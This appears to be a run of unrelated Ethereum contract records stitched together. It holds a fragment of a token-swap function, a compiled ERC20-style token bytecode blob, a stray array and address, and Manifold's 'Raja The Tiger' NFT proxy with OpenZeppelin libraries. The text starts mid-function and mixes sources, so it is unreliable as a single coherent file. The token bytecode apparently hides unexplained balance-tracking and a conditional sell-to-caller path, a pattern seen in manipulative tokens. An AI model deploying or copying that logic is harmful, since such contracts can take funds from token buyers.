router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c5b37c2211610059578063c5b37c2214610305578063dd62ed3e14610330578063f2fde38b1461036d578063f887ea4014610396576100f3565b8063715018a61461025b5780638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a9190611346565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611401565b610453565b604051610157919061145c565b60405180910390f35b34801561016c57600080fd5b50610175610468565b6040516101829190611486565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad91906114a1565b610472565b6040516101bf919061145c565b60405180910390f35b3480156101d457600080fd5b506101dd61057f565b6040516101ea9190611486565b60405180910390f35b3480156101ff57600080fd5b50610208610599565b6040516102159190611503565b60405180910390f35b34801561022a57600080fd5b506102456004803603810190610240919061151e565b6105bf565b6040516102529190611486565b60405180910390f35b34801561026757600080fd5b50610270610608565b005b34801561027e57600080fd5b50610287610690565b6040516102949190611503565b60405180910390f35b3480156102a957600080fd5b506102b26106b9565b6040516102bf9190611346565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611401565b61074b565b6040516102fc919061145c565b60405180910390f35b34801561031157600080fd5b5061031a6107c7565b6040516103279190611486565b60405180910390f35b34801561033c57600080fd5b506103576004803603810190610352919061154b565b6107cd565b6040516103649190611486565b60405180910390f35b34801561037957600080fd5b50610394600480360381019061038f919061151e565b610854565b005b3480156103a257600080fd5b506103ab61094c565b6040516103b891906115ea565b60405180910390f35b6060600180546103d090611634565b80601f01602080910402602001604051908101604052809291908181526020018280546103fc90611634565b80156104495780601f1061041e57610100808354040283529160200191610449565b820191906000526020600020905b81548152906001019060200180831161042c57829003601f168201915b5050505050905090565b6000610460338484610972565b905092915050565b6000600554905090565b600061047f848484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104dc9190611486565b60405180910390a3610576843384600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105719190611695565b610972565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600860029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610610610f9d565b73ffffffffffffffffffffffffffffffffffffffff1661062e610690565b73ffffffffffffffffffffffffffffffffffffffff1614610684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067b90611715565b60405180910390fd5b61068e6000610fa5565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106c890611634565b80601f01602080910402602001604051908101604052809291908181526020018280546106f490611634565b80156107415780601f1061071657610100808354040283529160200191610741565b820191906000526020600020905b81548152906001019060200180831161072457829003601f168201915b5050505050905090565b6000610758338484610b0d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107b59190611486565b60405180910390a36001905092915050565b60035481565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61085c610f9d565b73ffffffffffffffffffffffffffffffffffffffff1661087a610690565b73ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611715565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610940576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610937906117a7565b60405180910390fd5b61094981610fa5565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390611839565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa9190611486565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060035490506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610c03575081155b8015610c4e57506000600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610caa5780600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ca29190611695565b925050819055505b84600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d4d5750600084145b15610da95780600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610da19190611859565b925050819055505b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df89190611859565b925050819055506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e4f575060065484115b15610e6557610e5d84611069565b505050610f98565b60006064600354610e7691906118de565b85610e81919061190f565b90508085610e8f9190611695565b945080600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee09190611695565b9250508190555084600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f369190611695565b9250508190555084600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611859565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561108657611085611969565b5b6040519080825280602002602001820160405280156110b45781602001602082028036833780820191505090505b50905030816000815181106110cc576110cb611998565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119791906119dc565b816001815181106111ab576111aa611998565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061121230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b8152600401611277959493929190611b02565b600060405180830381600087803b15801561129157600080fd5b505af11580156112a5573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112e75780820151818401526020810190506112cc565b838111156112f6576000848401525b50505050565b6000601f19601f8301169050919050565b6000611318826112ad565b61132281856112b8565b93506113328185602086016112c9565b61133b816112fc565b840191505092915050565b60006020820190508181036000830152611360818461130d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113988261136d565b9050919050565b6113a88161138d565b81146113b357600080fd5b50565b6000813590506113c58161139f565b92915050565b6000819050919050565b6113de816113cb565b81146113e957600080fd5b50565b6000813590506113fb816113d5565b92915050565b6000806040838503121561141857611417611368565b5b6000611426858286016113b6565b9250506020611437858286016113ec565b9150509250929050565b60008115159050919050565b61145681611441565b82525050565b6000602082019050611471600083018461144d565b92915050565b611480816113cb565b82525050565b600060208201905061149b6000830184611477565b92915050565b6000806000606084860312156114ba576114b9611368565b5b60006114c8868287016113b6565b93505060206114d9868287016113b6565b92505060406114ea868287016113ec565b9150509250925092565b6114fd8161138d565b82525050565b600060208201905061151860008301846114f4565b92915050565b60006020828403121561153457611533611368565b5b6000611542848285016113b6565b91505092915050565b6000806040838503121561156257611561611368565b5b6000611570858286016113b6565b9250506020611581858286016113b6565b9150509250929050565b6000819050919050565b60006115b06115ab6115a68461136d565b61158b565b61136d565b9050919050565b60006115c282611595565b9050919050565b60006115d4826115b7565b9050919050565b6115e4816115c9565b82525050565b60006020820190506115ff60008301846115db565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061164c57607f821691505b602082108114156116605761165f611605565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116a0826113cb565b91506116ab836113cb565b9250828210156116be576116bd611666565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116ff6020836112b8565b915061170a826116c9565b602082019050919050565b6000602082019050818103600083015261172e816116f2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117916026836112b8565b915061179c82611735565b604082019050919050565b600060208201905081810360008301526117c081611784565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118236024836112b8565b915061182e826117c7565b604082019050919050565b6000602082019050818103600083015261185281611816565b9050919050565b6000611864826113cb565b915061186f836113cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118a4576118a3611666565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118e9826113cb565b91506118f4836113cb565b925082611904576119036118af565b5b828204905092915050565b600061191a826113cb565b9150611925836113cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561195e5761195d611666565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119d68161139f565b92915050565b6000602082840312156119f2576119f1611368565b5b6000611a00848285016119c7565b91505092915050565b6000819050919050565b6000611a2e611a29611a2484611a09565b61158b565b6113cb565b9050919050565b611a3e81611a13565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a798161138d565b82525050565b6000611a8b8383611a70565b60208301905092915050565b6000602082019050919050565b6000611aaf82611a44565b611ab98185611a4f565b9350611ac483611a60565b8060005b83811015611af5578151611adc8882611a7f565b9750611ae783611a97565b925050600181019050611ac8565b5085935050505092915050565b600060a082019050611b176000830188611477565b611b246020830187611a35565b8181036040830152611b368186611aa4565b9050611b4560608301856114f4565b611b526080830184611477565b969550505050505056fea2646970667358221220def77efa4d8210f01198906ef550a0cd751b716bb1d1d9c54f990eda7f7df28b64736f6c634300080c0033
[ 5, 4, 11 ]
0xf23c9f8520907811b1cf94bbb0475bbf2f2f90ce
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Raja The Tiger /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // // // // // // // // // // // // // // // // // .... ... // // .;:,. .:;. // // . .,codd;.;doc,. // // . ...',,,,;;:ldxxkocoxxdl:;;,,,,'... // // ...,:ooodxxxxxxxxxxxdddxxxxxxxxxxdooo:,... // // ..;clodxxxxxxxxxxxxxxxxxdxxxxxxxxxxxxxxxxdooc;.. // // .';codxxxxxdooddolccc:clodl;lolc::clloddoodxxxxxddl;'.. // // ..';codddol:;,''...... ... . ......''';:codddoc;'.. // // ...,,;;;,'... . ..',;;;,,'.. // // ';. .. // // .od, .c. // // .lOOl.;ko. // // .. .oKK0Oxx0Ko. . // // .:c. .dNWWNNNNNNNd. ':. // // c0Oc. .lXWWWWWWWWWWXl. 'dOo. // // ......... ..;;;;,,lKWN0odXWWWWWXOKWWWWXl;dKWXo.....'. // // ............ .':ox0XNXXNXXNWWNXNWWWWNXo'oNWWWWNNWWWN00KKKKKko:'. // // ................ 'oOXNWWWWWWWWWWWWXd,,:dOx:'. .c0X0dlcxNWWWWWWWWWWWNX0xc. ..... // // ................... .. .,o0NNNNXK00Oxdooolc, ... .:oxkkkO0KXNNNWWWN0o, .......... // // ............................ .'cdxxdo:,.... . ...',;coxOOOxc.. ......... // // ............................... ..'''.. .:' ,c'. .';;;,'.. ............ // // ............................... .,cdOKx. ,OX0xl;. .............. // // ..................................... ,oOKNXKKXx.. .,kK0KNNXOl. ........................ // // .................................',:c:' .oXWXOd;..';lo' cl'...:dONWK: .;lc;,'.................... // // .................................':lloo:. .dNKo,. ,xl.. .dd' .;dXK: .ldool;..................... // // .................''..............;loxd, .o0d' .ok: .lkc. .;dx; .cxdoc,.................... // // ................................,coxl. .. .o; ;dl. ... 'oo' .:c. ... ;ddl;'..................... // // ............................':ododdo; .;l;.. .. 'll. .'. ... ,ol' ... ..,lo' .lxxddo:,.................... // // . .........................'ckKXK0x;. .x0dlc. .. .;c' ',.. .,. .,c,. .... .:ook0: .o0XNKkc'..................... // // . .........................;oOXNX0l. .dXOooo,. ..',,,. ... :c. 'c' ... ';;;,'. .ldoxXK: .:ONWNKd;'....................... // // .... ............'''''........,:lx0XNNNOl. 'llkNX0xol' .;olloc. .. .::. .. .c;. . .. 'ooool' .:odOXWXxdl. .:kNWWNKkol;......................... // // ..................'''''''.......;dxxkOXNNXk' ,0NNNNNXOxl;,. ;dddl. .,;. .. .:' ... .:c. .. ,c' ;dxxl. .,;cxOXNWWWWNd. lXWWNKkdddc............................ // // .....................''''''........'lo::dKNNK: ;ONNWNNNN0kkOx, .oxkl. .dk; .. .,;:. .',.'' '::,. .,. .lOo. ;xkx;..oOOOKNWWWWWNKo. .xNWNOc,:d:.............'................ // // ....................''''..........'ok:..,xNNNd. .;cldxk0XN0lok:..cxko. .dKc ;l. .::. .lo; .cc. .l; ;o. ...'xXc :kko, .xxcdXN0kdoc:,. :KWWKo. .d0o'...........'..'''........... // // ................................:d0NKl,cxKNNNXo. ..,lk: ,l. .;xKx. .xO. .;. .;. ,d:. .lo. .;. .,. ...l0: cK0o' ;:..od,. ,0WWWNKx::kNX0d;..............'''.......... // // .......''''...................,xXNNNNKO0XNNNNNk. .. 'kNXd. c0l. .. '' ... ,Ok. .:0NXl. . ;KWWWWNXKKNNNNNKo'.............''.......... // // .....'''',,,'''''...........'o0XNNNNNX0O0XNNXOdl;.....';:clolccc;'. .oX0xl. .xK: .xK; .;dkX0, ':loodxdoolc,...':ldk0NWWXOk0NWWWNXKOc.............''......... // // .....''''''''''''..........;kXNNNXKxoc:oOKXKkdodxxxkO0XNNKOxxxOKK0kl. 'kxll;. 'ko. ,kc .:ccxo..:k0KXKxoodkKNWNK0kxdoloxOXX0xc;:lxKWNNX0o'...................... // // .....'.'''''''''''........:kXXXXKo.. ..;cxOd:,.. ..,cON0c....;kKXOdxkl.'...'. .do. . 'x: .... ..;xxldKXXx....'oXXo'. .':xkl:'. .dXNNNXd,..................... // // ..........'''''''........:xKXXKx, ..,:,. ,0x. ...:kKkc,.,xk' .. ;x; .cl. . .oOc..,lkOo'.. .:0o. .,;'. ;xXNNKd,.................... // // ...........'''''.......':x00Od, .;;'. .'cc. cOl......,'....;0k. .'. ... cKx'....'.... .,kk' .:dc' .,c:. ,x0XKd;................... // // .....................,:loxkxc. .;dko, .;xKk' .cko;'. .....,oKXc. .... .,....... ... ..'. .... 'kN0l,........,lkd' .lKkc. .;k0x:. .cxOxl:'... ............ // // ....................';:cool'. .:OXXd'. .oKk' ,lk0xl:;;:lokXNN0l:::;'.. ..'''...,,... ...,;,. .':cccxXNNXkollccox00d;. .lX0c. .;kNNO; 'ldl;... ...... . // // ...................';:loo:. .lXNKx,. 'l0XX0xc,. .:dOKKXXK0KXNNXxdxo:'.. .'. .... ...... .:odo0NNNXKKXXXKOdc' .'cdOKXKkc. .:ONWX: .lxdl;..... . // // .................':ccloo:. ;KNXk,. ..,;;,:lll;. ..,;:ld0XXXXxcdd:. ..,'...'..... .'. .cdcc0XKNXkl:;'.. .:lc;,','.. .:0WWO. .lxdc,.... . // // .................';:clol, cXNXx,.. ..;;. ..';cl;. . ,OKx0klol'. .......',' ..'.'''... .,old0xx0o. ....,loc,.. .;,. ..'lKWW0, ;xxo:.. // // .................,:lllc,. 'ON0xl;. ...... ..;c::lo;. ,dxkOxc;. . .. .'''...... ..;okOxxc. .cdl:c:'. .''.. ..;lxXXo. .;lolc;.. // // ...............,:clllc;. ,dXO:.. .':,. .;,.;l:. .:dxxdo,. . .;,. .:odxxo' .::'.;,. .;,. .,dXKo,. .;ldddl;.. // // ..............,clllll;. .;xXNXx,. .''. ..;lo:. .cxdc;l;. .'. .... . .. .:c,lxd; .:oc'. .,'. .:kXWXd,. .cxxdol;... // // .............';::cllc. ..c0NXl. .','..':c;. ...,'. . 'ldc..;. .,,,,,''''.. .......'';:,.. ';..lo:. ..... .coc,...'.. .dNW0:. 'oxdc,... // // ..............,:ll:,. ,kXNk. .':l:. .. .',:..''. ..'. ............. ... .'. ',.. .;:,. ,KWXo' .'coo:.. // // .............;codl. .;ON0c.. ... .... ....'... .,. .'.. .';,. . .. . ...;kNNo. 'dxo;.. // // ............,;lddc. 'oxxlcoo' .;l,. .. .. 'ckk:. ...... :kdlodo;. .cxd:... // // ............;lddl,. .cXX: ... :O0d,. 'dOKO; .......... .dWK; 'odl,........ // // ...........';ldxo,. .dNXc ... ..'....... .;kXKd. .lkdd0c ... ...''.. 'kWX: .ldc'........ // // .............;oc,.. ,kXKdc;;,,,,,,,'.. .......... ... 'xKXd. 'dOl,dx. ..',,;;lddlcd0XKo. .;;......... // // ............''.... .;ldxxxxdl:,. ...''....... ;kOOd. .x0l.'ko. ..;lodddol;. .......... // // ............... . .. . .xc'dd. :Od' ,Od. ....... // // ............. .. 'x: 'dl .ox, .kx. ....... // // ....... . lx. .:x' .xd. lx. . ...... // // . ;k:.. 'd, .dd. 'xc . // // ;ko... 'o, lx' // // rajathetiger.eth // // Who R We Collective // // // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract RAJATHETIGERWRWC is ERC721Creator { constructor() ERC721Creator("Raja The Tiger", "RAJATHETIGERWRWC") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
